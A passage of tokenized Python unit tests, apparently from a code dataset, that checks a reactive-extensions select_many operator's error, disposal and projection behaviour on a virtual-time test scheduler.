",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "740", "_", ",_", "106_", ")_", ",_", "on", "\\u", "next_", "(_", "810", "_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "860", "_", ",_", "305_", ")_", ",_", "on", "\\u", "next_", "(_", "930", "_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "940", "_", ",_", "402", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "1000_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "605", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "960", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "750_", ",_", "790", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "850", "_", ",_", "950", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "error", "\\u", "outer_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "error_", "(_", "900_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "740", "_", ",_", "106_", ")_", ",_", "on", "\\u", "next_", "(_", "810", "_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "860", "_", ",_", "305_", ")_", ",_", "on", "\\u", "error_", "(_", "900_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "605", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "750_", ",_", "790", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "850", "_", ",_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "error", "\\u", "inner_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "error_", "(_", "460", "_", ",_", "ex_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "740", "_", ",_", "106_", ")_", ",_", "on", "\\u", "error_", "(_", "760", "_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "605", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "750_", ",_", "760", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "dispose", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "create_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "lambda_", "x_", ":_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "create_", ",_", "dispose", "d_", "=_", "700_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "560", "_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "580", "_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "590", "_", ",_", "203_", ")_", ",_", "on", "\\u", "next_", "(_", "600_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "620", "_", ",_", "303_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "605", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "550_", ",_", "700_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "throw_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "invoke", "d_", "=_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ex_", "=_", "'", "ex", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "5_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "1", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "105_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "error_", "(_", "1_", ",_", "'", "ex", "2", "'_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "300_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "110_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "105_", ")_", ",_", "on", "\\u", "next_", "(_", "440_", ",_", "106_", ")_", ",_", "on", "\\u", "completed_", "(_", "460", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "400_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "180_", ",_", "202_", ")_", ",_", "on", "\\u", "next_", "(_", "190_", ",_", "203_", ")_", ",_", "on", "\\u", "completed_", "(_", "205_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "550_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "10_", ",_", "301_", ")_", ",_", "on", "\\u", "next_", "(_", "50_", ",_", "302_", ")_", ",_", "on", "\\u", "next_", "(_", "70_", ",_", "303_", ")_", ",_", "on", "\\u", "next_", "(_", "260_", ",_", "304_", ")_", ",_", "on", "\\u", "next_", "(_", "310_", ",_", "305_", ")_", ",_", "on", "\\u", "completed_", "(_", "410", "_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "750_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "completed_", "(_", "40_", ")_", ")_", ")_", ",_", "on", "\\u", "next_", "(_", "850", "_", ",_", "scheduler_", "._", "create", "\\u", "cold", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "80_", ",_", "401_", ")_", ",_", "on", "\\u", "next_", "(_", "90_", ",_", "402", "_", ")_", ",_", "on", "\\u", "completed_", "(_", "100_", ")_", ")_", ")_", ",_", "on", "\\u", "completed_", "(_", "900_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "projection_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "invoke", "d_", "[_", "0_", "]_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "invoke", "d_", "[_", "0_", "]_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "(_", "ex_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "xs_", "._", "select", "\\u", "many_", "(_", "projection_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "scheduler_", "._", "start_", "(_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "._", "messages_", "._", "assert", "\\u", "equal_", "(_", "on", "\\u", "next_", "(_", "310_", ",_", "102_", ")_", ",_", "on", "\\u", "next_", "(_", "390", "_", ",_", "103_", ")_", ",_", "on", "\\u", "next_", "(_", "410", "_", ",_", "104_", ")_", ",_", "on", "\\u", "next_", "(_", "490", "_", ",_", "105_", ")_", ",_", "on", "\\u", "error_", "(_", "550_", ",_", "ex_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "200_", ",_", "550_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "2_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "300_", ",_", "550_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "3_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", "subscribe_", "(_", "400_", ",_", "550_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "4_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "5_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "._", "messages_", "[_", "6_", "]_", "._", "value_", "._", "value_", "._", "subscriptions_", "._", "assert", "\\u", "equal_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Select", "Many", "_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "select", "\\u", "many", "\\u", "use", "\\u", "function_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "scheduler_", "=_", "Test", "Scheduler_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xs_", "=_", "scheduler_", "._", "create", "\\u", "hot", "\\u", "observable_", "(_", "on", "\\u", "next_", "(_", "210_", ",_", "4_", ")_", ",_", "on", "\\u", "next_", "(_", "220_", ",_", "3_", ")_", ",_", "on", "\\u", "next_", "(_", "250_", ",_", "5_", ")_", ",_", "on", "\\u", "next_", "(_", "270_", ",_", "1_", ")_", ",_", "on", 